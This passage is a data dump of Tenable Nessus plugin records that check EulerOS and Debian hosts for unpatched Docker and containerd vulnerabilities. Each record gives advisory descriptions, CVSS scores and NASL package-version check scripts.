(such as Docker)\n are not affected. (CVE-2020-15157)\n\n - In Docker before versions 9.03.15, 20.10.3 there is a vulnerability involving the --userns-remap option in\n which access to remapped root allows privilege escalation to real root. When using '--userns-remap', if\n the root user in the remapped namespace has access to the host filesystem they can modify files under\n '/var/lib/docker/<remapping>' that cause writing files with extended privileges. Versions 20.10.3 and\n 19.03.15 contain patches that prevent privilege escalation from remapped user. (CVE-2021-21284)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where\n pulling and extracting a specially-crafted container image can result in Unix file permission changes for\n existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner\n of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does\n not directly allow files to be read, modified, or executed without an additional cooperating process. This\n bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from\n trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially\n affected by this bug through policies and profiles that prevent containerd from interacting with specific\n files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security\nadvisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional\nissues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2022-1445\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?f8fa829b\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-32760\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-21284\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/04/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/04/18\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine-selinux\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nvar release = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nvar uvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP9\");\n\nvar sp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(9)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP9\");\n\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP9\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nvar flag = 0;\n\nvar pkgs = [\n \"docker-engine-18.09.0.129-1.h55.25.11.eulerosv2r9\",\n \"docker-engine-selinux-18.09.0.129-1.h55.25.11.eulerosv2r9\"\n];\n\nforeach (var pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"9\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"docker-engine\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-22T16:29:48", "description": "According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\n - containerd is an open source container runtime with an emphasis on simplicity, robustness and portability.\n A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability. Users unable to update should limit access to the host to trusted users. Update directory permission on container bundles directories. (CVE-2021-41103)\n\n - Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separation inside the container are most directly impacted. This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers should be stopped, deleted, and recreated for the inheritable capabilities to be reset. This fix changes Moby (Docker Engine) behavior such that containers are started with a more typical Linux environment. As a workaround, the entry point of a container can be modified to use a utility like `capsh(1)` to drop inheritable capabilities prior to the primary process starting. (CVE-2022-24769)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2022-06-22T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP8 : docker-engine (EulerOS-SA-2022-1926)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2021-32760", "CVE-2021-41103", "CVE-2022-24769"], "modified": "2022-06-22T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:docker-engine", "p-cpe:/a:huawei:euleros:docker-engine-selinux", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2022-1926.NASL", "href": "https://www.tenable.com/plugins/nessus/162441", "sourceData": "##\n# (C) Tenable, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(162441);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/06/22\");\n\n script_cve_id(\n \"CVE-2020-15157\",\n \"CVE-2021-32760\",\n \"CVE-2021-41103\",\n \"CVE-2022-24769\"\n );\n\n script_name(english:\"EulerOS 2.0 SP8 : docker-engine (EulerOS-SA-2022-1926)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is\naffected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where\n pulling and extracting a specially-crafted container image can result in Unix file permission changes for\n existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner\n of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does\n not directly allow files to be read, modified, or executed without an additional cooperating process. This\n bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from\n trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially\n affected by this bug through policies and profiles that prevent containerd from interacting with specific\n files. (CVE-2021-32760)\n\n - containerd is an open source container runtime with an emphasis on simplicity, robustness and portability.\n A bug was found in containerd where container root directories and some plugins had insufficiently\n restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and\n execute programs. When containers included executable programs with extended permission bits (such as\n setuid), unprivileged Linux users could discover and execute those programs. When the UID of an\n unprivileged Linux user on the host collided with the file owner or group inside a container, the\n unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has\n been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are\n released and may restart containers or update directory permissions to mitigate the vulnerability. Users\n unable to update should limit access to the host to trusted users. Update directory permission on\n container bundles directories. (CVE-2021-41103)\n\n - Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug\n was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with\n non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling\n programs with inheritable file capabilities to elevate those capabilities to the permitted set during\n `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise\n unprivileged users and processes can execute those programs and gain the specified file capabilities up to\n the bounding set. Due to this bug, containers which included executable programs with inheritable file\n capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable\n file capabilities up to the container's bounding set. Containers which use Linux users and groups to\n perform privilege separation inside the container are most directly impacted. This bug did not affect the\n container security sandbox as the inheritable set never contained more capabilities than were included in\n the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers\n should be stopped, deleted, and recreated for the inheritable capabilities to be reset. This fix changes\n Moby (Docker Engine) behavior such that containers are started with a more typical Linux environment. As a\n workaround, the entry point of a container can be modified to use a utility like `capsh(1)` to drop\n inheritable capabilities prior to the primary process starting. (CVE-2022-24769)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security\nadvisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional\nissues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2022-1926\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?d4654544\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41103\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/06/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/06/22\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine-selinux\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nvar release = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nvar uvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\");\n\nvar sp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(8)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\");\n\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nvar flag = 0;\n\nvar pkgs = [\n \"docker-engine-18.09.0.101-1.h52.22.10.eulerosv2r8\",\n \"docker-engine-selinux-18.09.0.101-1.h52.22.10.eulerosv2r8\"\n];\n\nforeach (var pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"8\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"docker-engine\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-12T14:46:01", "description": "Multiple security issues were discovered in Docker, a Linux container runtime, which could result in denial of service, an information leak or privilege escalation.", "cvss3": {"score": 6.8, "vector": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"}, "published": "2021-03-01T00:00:00", "type": "nessus", "title": "Debian DSA-4865-1 : docker.io - security update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2020-15257", "CVE-2021-21284", "CVE-2021-21285"], "modified": "2022-05-11T00:00:00", "cpe": ["cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "p-cpe:2.3:a:debian:debian_linux:docker.io:*:*:*:*:*:*:*"], "id": "DEBIAN_DSA-4865.NASL", "href": "https://www.tenable.com/plugins/nessus/146922", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-4865. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(146922);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/11\");\n\n script_cve_id(\"CVE-2020-15157\", \"CVE-2020-15257\", \"CVE-2021-21284\", \"CVE-2021-21285\");\n script_xref(name:\"DSA\", value:\"4865\");\n\n script_name(english:\"Debian DSA-4865-1 : docker.io - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Multiple security issues were discovered in Docker, a Linux container\nruntime, which could result in denial of service, an information leak\nor privilege escalation.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/source-package/docker.io\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/buster/docker.io\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2021/dsa-4865\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Upgrade the docker.io packages.\n\nFor the stable distribution (buster), these problems have been fixed\nin version 18.09.1+dfsg1-7.1+deb10u3.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15257\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:docker.io\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:10.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/01\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"10.0\", prefix:\"docker-doc\", reference:\"18.09.1+dfsg1-7.1+deb10u3\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"docker.io\", reference:\"18.09.1+dfsg1-7.1+deb10u3\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"golang-docker-dev\", reference:\"18.09.1+dfsg1-7.1+deb10u3\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"golang-github-docker-docker-dev\", reference:\"18.09.1+dfsg1-7.1+deb10u3\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"vim-syntax-docker\", reference:\"18.09.1+dfsg1-7.1+deb10u3\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_note(port:0, extra:deb_report_get());\n else security_note(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 3.6, "vector": "CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-06-17T12:21:20", "description": "According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - containerd is an industry-standard container runtime and is available as a daemon for Linux and Windows.\n In containerd before versions 1.3.9 and 1.4.3, the containerd-shim API is improperly exposed to host network containers. Access controls for the shim's API socket verified that the connecting process had an effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would allow malicious containers running in the same network namespace as the shim, with an effective UID of 0 but otherwise reduced privileges, to cause new processes to be run with elevated privileges. This vulnerability has been fixed in containerd 1.3.9 and 1.4.3. Users should update to these versions as soon as they are released. It should be noted that containers started with an old version of containerd-shim should be stopped and restarted, as running containers will continue to be vulnerable even after an upgrade. If you are not providing the ability for untrusted users to start containers in the same network namespace as the shim (typically the 'host' network namespace, for example with docker run --net=host or hostNetwork: true in a Kubernetes pod) and run with an effective UID of 0, you are not vulnerable to this issue. If you are running containers with a vulnerable configuration, you can deny access to all abstract sockets with AppArmor by adding a line similar to deny unix addr=@**, to your policy. It is best practice to run containers with a reduced set of privileges, with a non-zero UID, and with isolated namespaces. The containerd maintainers strongly advise against sharing namespaces with the host. Reducing the set of isolation mechanisms used for a container necessarily increases that container's privilege, regardless of what container runtime is used for running that container. (CVE-2020-15257)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\n - containerd is an open source container runtime with an emphasis on simplicity, robustness and portability.\n A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability. Users unable to update should limit access to the host to trusted users. Update directory permission on container bundles directories. (CVE-2021-41103)\n\n - Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separation inside the container are most directly impacted. This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers should be stopped, deleted, and recreated for the inheritable capabilities to be reset. This fix changes Moby (Docker Engine) behavior such that containers are started with a more typical Linux environment. As a workaround, the entry point of a container can be modified to use a utility like `capsh(1)` to drop inheritable capabilities prior to the primary process starting. (CVE-2022-24769)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2022-06-17T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP5 : docker-engine (EulerOS-SA-2022-1886)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2020-15257", "CVE-2021-32760", "CVE-2021-41103", "CVE-2022-24769"], "modified": "2022-06-17T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:docker-engine", "p-cpe:/a:huawei:euleros:docker-engine-selinux", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2022-1886.NASL", "href": "https://www.tenable.com/plugins/nessus/162362", "sourceData": "##\n# (C) Tenable, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(162362);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/06/17\");\n\n script_cve_id(\n \"CVE-2020-15157\",\n \"CVE-2020-15257\",\n \"CVE-2021-32760\",\n \"CVE-2021-41103\",\n \"CVE-2022-24769\"\n );\n\n script_name(english:\"EulerOS 2.0 SP5 : docker-engine (EulerOS-SA-2022-1886)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is\naffected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they 